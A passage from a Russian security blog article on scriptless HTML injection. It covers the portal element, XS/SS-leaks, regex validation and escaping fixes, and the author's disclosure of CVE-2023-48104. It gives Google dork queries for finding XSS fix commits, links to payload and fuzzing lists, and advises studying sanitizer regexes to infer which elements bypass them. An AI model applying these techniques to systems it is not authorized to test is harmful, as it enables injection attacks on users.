В качестве отдельного пункта можно вынести элемент portal, который с 2019 года до сих пор находится в формате экспериментальных функций. Элемент <portal> представляет из себя потенциальную замену тега iframe, которая позволяет загружать внешний контент и отображать его во встроенном портале, который может быть скрыт или видимым.

Расписывать уже хорошо описанный материал нет смысла, поэтому прилагаю ссылку на полноценный ресерч по безопасности тега portal: https://research.securitum.com/security-analysis-of-portal-element/

Сама статья на английском, но для каждого сценария показаны графические материалы – от скриншотов до видео и примеров внедряемого кода, поэтому даже не знающий английский язык читатель поймет, о чем речь и в некоторых случаях сможет по образу и подобию попробовать на учебном примере проэксплуатировать уязвимости элемента.

6. XS/SS-Leaks

XS/SS-Leaks – Cross-Site/Same-Site утечки. Смысл атаки схож с подделкой межсайтовых запросов, однако вместо отправки запросов, в атаках XS/SS-Leaks упор делается на отображение и сбор пользовательской конфиденциальной информации.

Список конструкций, которыми мы можем проверить уязвимость ресурса к XS/SS-Leaks можно найти в специальном репозитории на гитхабе: https://github.com/cure53/HTTPLeaks/blob/main/leak.html

Примеры методов защиты

В качестве примеров предлагаю рассмотреть парочку коммитов в некоторых проектах на гитхабе:

1. Валидация

Project: tendency
Issue: https://github.com/tendenci/tendenci/issues/918

А теперь взглянем на коммит:

Разработчик написал пользовательский валидатор UnicodeNameValidator для проверки корректности значений, вводимых в уязвимое поле name. Здесь валидатор использует обычную регулярку для проверки соответствия введенных данных заданному шаблону. Это позволяет контролировать вводимое в поле name значение так, чтобы оно содержало только буквы, цифры, пробелы и определенные символы (@/./+/-/_).

  • ^ - начало строки

  • [\w\s.+-] - означает любой из следующих символов: буквы, цифры, пробелы, точка, плюс или минус, где \w - буква, цифра или символ подчеркивания, а \s - пробел, табуляция, новая строка и.т.д.

  • + - означает, что предыдущий шаблон должен встретиться 1 или более раз

  • $ - конец строки. Соответственно, если входящая строка не проходит валидацию, пользователю вылезает сообщение об ошибке.

Немного забавно то, как грустно эта история закончилась для человека, который это зарепортил:

2. Экранирование

Project: summernote
Pull Request: https://github.com/summernote/summernote/pull/3782

Посмотрим на коммит:

Разработчик написал метод escape, который с помощью регулярного выражения заменяет символы &, < и > в строке на их HTML-сущности. Когда этот метод вызывается для строки, он вернёт новую строку, где все упомянутые символы будут заменены соответствующими HTML-сущностями. Регулярное выражение &(?!amp;|gt;|lt;)|>|< использует отрицательный просмотр вперед (?!...), чтобы исключить соответствия, которые следуют за определенными строками amp;, gt; или lt;. Это позволяет избежать экранирования символов &, < и >, если они уже являются частью других последовательностей, таких как &amp;, &lt; или &gt;.

Регулярка, которая была до , [&<>], не учитывает контекст, поэтому оно экранирует все вхождения символов &, < и >, независимо от того являются ли они частью управляющих последовательностей или нет.

Мой опыт нахождения HTML-инъекций

Под конец расскажу вам свой опыт, как я кидал коллеге списки нагрузок и в результате зарегал свою первую CVE.

Чтобы вы понимали, о чем далее пойдет речь, можете перейти по ссылке ниже: https://nvd.nist.gov/vuln/detail/CVE-2023-48104

Вкратце, это HTML-инъекция с внедрением элемента формы в тело сообщения с последующим отображением этой формы у получателя на клиентской стороне.

Скинул нагрузку - посмотрел какие нагрузки отработали - увидел аномальное поведение - зарепортил.

Часть нагрузок санитизировалась, что говорило о наличии защитных механизмов (т.е. разработчики знают о том, что есть такой контекст внедрения и что его надо защищать). Соответственно, после нескольких итераций проверок работоспособности написанного PoC'а я иду в местный баг-трекер. Через неделю мне кидают коммит с исправлениями, и я иду резервировать номер CVE.

Мой путь с момента нахождения уязвимости до получения CVE был достаточно простой и ради него не было бы смысла расписывать что-то в контексте этой статьи. Именно поэтому тут я скорее хочу поделиться личными наблюдениями касательно нахождения и регистрации CVE. Давайте посмотрим на коммит, который мне прислали:

При санитизации пользовательского ввода разработчики могут использовать готовые библиотеки и решения, созданные сообществом для безопасной обработки входных данных. Например, многие языки программирования предоставляют стандартные библиотеки для фильтрации и санитизации пользовательского ввода, такие как PHP – функции filter_var(), Python – библиотека bleach, JavaScript – DOMPurify и т.д.

Первое, что бросается в глаза при виде этого коммита это то, что разработчики не используют готовые решения. Это значит, что, поискав функции, отвечающие за санитизацию, мы без труда сможем проанализировать их.

Искать такие файлы мы можем, используя google dorking, например:

site:github.com inurl:issue "XSS"

или

site:github.com inurl:commit "XSS"

Например, проанализировав код из коммита в SOGo, мы видим, что для каждого HTML элемента отдельно расписано регулярное выражение, согласно которому производится санитизация. Теперь, зная какие элементы удаляются, мы можем без труда сделать вывод о том, какие элементы мы можем внедрить, а какие нет.

Заключение

Надеюсь, данный материал был полезен для Вас. В этой статье мы рассмотрели если не все о Scriptless инъекциях, то как минимум ту меньшую часть, которая понадобится вам для того, чтобы без проблем искать соответствующие баги в проектах. Список для фаззинга рассмотренной инъекции вы можете найти по ссылке: https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt

Материал выше не претендует на что-то инновационное. В основном статья представляет собой сборник различных техник, смысл которых я постарался максимально доступно донести до комьюнити.

Разбирался в том, почему HTMLi это не только про дефейс - E1tex.

Отдельная благодарность техническому писателю за редактуру материала - alsacredsp1r.

Мой канал про похек: TRY FCK HARDER!

Увидимся!

Комментарии (2)


  1. zompin
    03.04.2024 18:21
    +1

    Что касается формы. Есть вариант ее отправить когда кнопка находися снаружи формы. Если у формы есть атрибут id, то в кнопку нужно добавить атрибут form https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button#form


    1. E1tex Автор
      03.04.2024 18:21

      Точно, Вы правы!
      Во время написания совсем забыл о такой возможности, статью поправил, спасибо!